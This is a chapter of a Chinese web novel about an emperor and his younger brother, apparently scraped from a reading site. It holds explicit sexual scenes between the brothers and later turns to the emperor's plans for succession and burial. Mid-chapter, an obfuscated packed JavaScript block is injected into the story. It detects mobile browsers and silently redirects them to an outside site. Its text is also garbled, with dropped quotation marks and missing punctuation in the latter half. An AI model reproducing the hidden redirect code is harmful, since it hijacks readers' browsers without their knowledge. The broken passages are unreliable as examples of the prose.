第 124 章 周全

作品:《本王,废物

    姬溯微微扬眉,姬未湫还未来及笑,就被姬溯按到了膝上,一声脆响在姬未湫耳边响起,他骤然闷哼了一声,往一旁躲去,偏偏腰被按得死紧,动弹不得,他环抱住姬溯的腰,感觉到紧实精悍的肌肉在掌下跳动,他分不清究竟是姬溯在动,还是他自己的心跳。


    “皇兄,我错了我错了……”姬未湫一迭声地说,把脸挨在姬溯身上使劲磨蹭了几下,姬溯轻描淡写地道:“打疼了?”


    姬溯这一下根本就是跟他闹着玩,压根不痛,但他里头还含着东西,被姬溯打得往里头撞了一下,昨天翻云覆雨还留下的余意在他身体里乱窜,指尖都在发麻,姬未湫也知道怕,连连摇头:“不疼不疼,放我起来……”


    姬溯果真放他起来了,却不是允许他下床,姬未湫被抱到了姬溯膝上坐着,他伏在姬溯怀里,心有余悸地抱着姬溯,继续认错:“我错了皇兄我真的错了,我下次再不敢了……别打……”


    这要是打下去,他今天不得死在这张床上?


    “好,要记住。”姬溯拢着他,一手搭在了他的臀上揉了揉,姬未湫身形一僵,不敢置信地看向姬溯,一手摸索着去抓姬溯的手,却被姬溯连同腰一并按着,他气短:“皇兄……呃……”


    他骤然闭上了嘴。


    “忍一忍。”姬溯平淡地说着,五指一下一下的揉着姬未湫腰背下的肌肉,酸痛之下是难以琢磨的酥麻,姬未湫轻哼了一声,腰都软了下去,肚子里又酸又胀,好像又回到了昨天一样,记忆深处的快乐又被重新翻拣了出来,大咧咧的晒在阳光下。


    姬未湫眼角都红了,他闷头埋在姬溯肩上,一阵一阵的发颤,仿佛每一块肌肉都会牵引到里头的东西,若有若无地动作几乎让人发狂,姬未湫扯住了姬溯的衣襟,柔滑的织料在他手下变得满是皱褶。


    “别弄……了……”只有三个字,姬未湫却像是说了很长的一段话,中间停顿了好几次。


    姬溯手腕上的金链轻轻晃动着,没有停止,姬未湫看着近在咫尺的姬溯的颈项,青蓝色的经脉隐没在皮肉中,冷玉一样的皮肤在烛下映着柔润的光,喉结轻轻滑动的时候,姬未湫凑上去含住他的喉结,讨好似地舔了舔。


    明显的凸起在舌尖上碾了过去,姬未湫像是被烫着了一样松开了他。


    姬溯显然是被讨好了,他垂眸看着姬未湫泛着粉色的


    眼角,“想要?


    姬未湫自暴自弃地用力点了点头:“对对对我想要!皇兄就容了臣弟这一回,臣弟感恩戴德,铭记五内……


    什么人啊这是!


    第二次结束天更黑了,末了姬溯将左手递到了姬未湫面前,姬未湫老老实实地解开了,再也不敢往他身上锁了。他蔫了吧唧的被姬溯抱起来去清理,他难过得要命,感觉屁股都开花了。


    色令智昏,色令智昏啊——!


    更衣的时候,姬未湫进了净房,站直的时候听见腰都在吱呀作响,腿软得没法说,他扶着柜子的边缘慢吞吞地走着,这要摔了就搞笑了。


    他就觉得不科学,虽然姬溯习武,但是他胜在年轻啊!被搞两次腿都站不直了是怎么回事?好歹姬溯都三十岁了,他都没有一点男人步入中年应该有的苦恼吗?!啊?!


    没吃到以前是馋,吃到嘴了发现完全吃不下,撑得难受!


    说实话他现在小腹还有点奇怪的酸,不太舒服,大概是进的太深的缘故。


    姬未湫踉跄了一下,他立刻抓着木几站稳了,不想上面的铜盆被他带着翻倒了半边,他一僵,果然见到姬溯进来了。


    姬溯的目光在满地的清水和歪着的铜盆上扫过,随即搭着姬未湫的腰将他扶稳了,姬未湫尴尬地就是不看姬溯:“没事,不小心。


    “嗯。姬溯应了一声,带着他走到了恭桶边上,姬未湫意识到姬溯想做什么,人都麻了。姬溯的呼吸拂在他的耳垂,姬未湫道:“不至于不至于……真的不至于,我自己就可以了!


    “别闹。姬溯道:“仔细摔了。


    姬未湫忍不住要避开姬溯,还没推拒两下就被扶起来了,也不知道姬溯怎么弄的,姬未湫没能忍住,轻微的水声响起时,姬未湫都不知道往哪里看。


    他感觉自己的魂魄都已经飞出天灵盖了。


    屏风外有几不可闻的脚步声,是宫人们进来更换新的铜盆与水。姬未湫就像是一只警惕到了极点的猫,紧紧地贴着姬溯,直到脚步声消失他才松懈了下来。


    他忽然想起了之前在山里被伏击的那一次,憋了半天还是没忍住问:“上次在山里……皇兄就想这么做了?


    那一次姬溯只是替他扯着裤子。


    姬溯面不改色地替他擦拭干净,又为他整理衣衫,就是不答话。姬未湫握住了他的手臂,姬溯淡淡地吐出一个字:“脏。


    “我又


    不嫌弃我自个儿。姬未湫回头看去,姬溯倒是一脸平静淡漠,跟他在清宁殿批折子的时候没有任何区别,姬未湫口舌发紧,姬溯将他的腰带系好,转而松开了他去净手,姬未湫抓着他的衣袖:“你还没告诉我是不是?


    姬溯看了他一眼,道:“是。


    衣袖从姬未湫手里溜走,柔滑细腻的触感还残存在掌心中,姬未湫呆若木鸡地站在原地,结结巴巴地说:“这么……这么早的吗?


    姬溯将他也拉到铜盆旁边净手,耐心地与他道:“朕在你心中,难道是个善人?


    不是什么好人,但是没想到你这么脏啊!


    “……姬未湫终究还是问了那句话:“皇兄你的洁癖好了吗?


    ……


    两人胡闹得太过头,等真正坐下来吃饭的时候只能当夜宵了,姬未湫这时候才觉得饿得发慌,猛猛连炫三大碗饭,抬头一看姬溯好整以暇地看着他,姬未湫陡然问道:“皇兄在想什么?


    已经好几次了,他和姬溯吃饭,好几次抓到他就这么看着他,眼里有一种含蓄的意味,之前好奇但觉得没必要问,今天他忍不住想问一问。


    “民间有句老话。姬溯姿态悠缓从容,意味不明地道:“半大小子,吃穷老子……所幸你生在皇家,吃不穷朕。


    姬未湫:“你还想当我爹?!


    姬溯有些惊异地看了他一眼,姬未湫连连摇头:“不不不,臣弟失言,皇兄恕罪。


    这个不行,真的不行。


    姬溯没有说话,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739898|128813||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姬未湫就当这事儿算过去了,庆喜公公进了来,对着二人行了一礼,道:“太后娘娘听闻今日罢朝,午时前差了人来问,入夜前又使了人来问,圣上您看……


    姬未湫本来正打算吩咐宫人上点甜汤,闻得此言,骤然侧脸看向姬溯,姬溯八风不动地道:“与太后道一切都好,明日朕与瑞王朝后去向母后请安。


    庆喜公公应了一声便出去了。


    姬未湫只觉得浑身发毛,就姬溯这种人,轻易不会罢朝,母后得知后应该亲自来看一看,而不是差了人来问,更何况还是两次,他轻声问:“母后……知道了?


    姬溯颔首:“无妨。


    正巧宫人送来了桂花赤豆汤,姬未湫焦虑地扒拉了一下勺子,一眨不眨地看着姬溯:“母后……没事吧。


    “母后一切安好。


    姬溯这么说,姬未湫才长舒了一口气,这


    要是母后给气出病他就是真该**——不过母后又不是他一个人的母后姬溯也心疼母后应该不会有意将母后气出病来。


    他这才有心思低头喝甜汤绵绵的赤豆沙吃进嘴里他才觉得好了不少等到一碗吃完姬未湫与姬溯在廊下走路消食忽地只听姬溯道:“朕不会封你为后亦不会昭告天下。”


    姬未湫:“……?”


    不是怎么突然提这事儿?


    姬溯注视着他平静又温柔他握住了姬未湫的手


    姬未湫道:“我也不想要东宫之位……”


    “住口。”姬溯打断道:“日后不得再提此言。”


    “朕年长你十二岁。”姬溯平静地说。


    他年长姬未湫十二岁虽说他常年习武但日后若无意外必是要先姬未湫一步而去的姬未湫如今已有东宫之实来日若不登基谁能容他?


    下一任东宫可以是姬未湫在宗室中选取甚至可以是在他死后娶得名门闺秀生下的子息必得称姬未湫一声‘父’方能登基。


    以他之能为姬未湫留下一个盛世不难叫他享二三十年太平富贵无上尊荣日后百官为他议号也至少能得一个美谥也算是青史留名。


    “朕活着娇妻美妾不必再想朕容不下。”姬溯轻声道:“从旁的补你。”


    姬未湫想什么却见姬溯抬手制止了他。


    “至于与朕合陵。”姬溯轻轻抚摸了一下姬未湫的发际:“朕等着你。”


    他的断龙石不放下等他便是。


    来年若心有变故那就独入陵寝若不变就依然与他合陵。


    姬未湫咬了咬嘴唇他没有想到姬溯居然将他的玩笑话都记在了心中他眼眶有些发热:“我……我开玩笑的。”


    姬溯的眼神冷了下来。


    姬未湫:“……!”


    “不是玩笑哎?!哥你别生气!我的意思是合葬一定要合的不过我真不想要当皇帝!是这个意思!”


    姬溯这才好了许多。


    姬未湫吸了吸鼻子扯着姬溯的衣袖说:“你给我考虑这么多呀?”


    姬溯没有说话只是从庆喜公公手中接了披风来为他系上了。


    要了他难道只图这一时欢愉吗?叫他受千古骂名万世指责吗?


    自然要为他周全一切。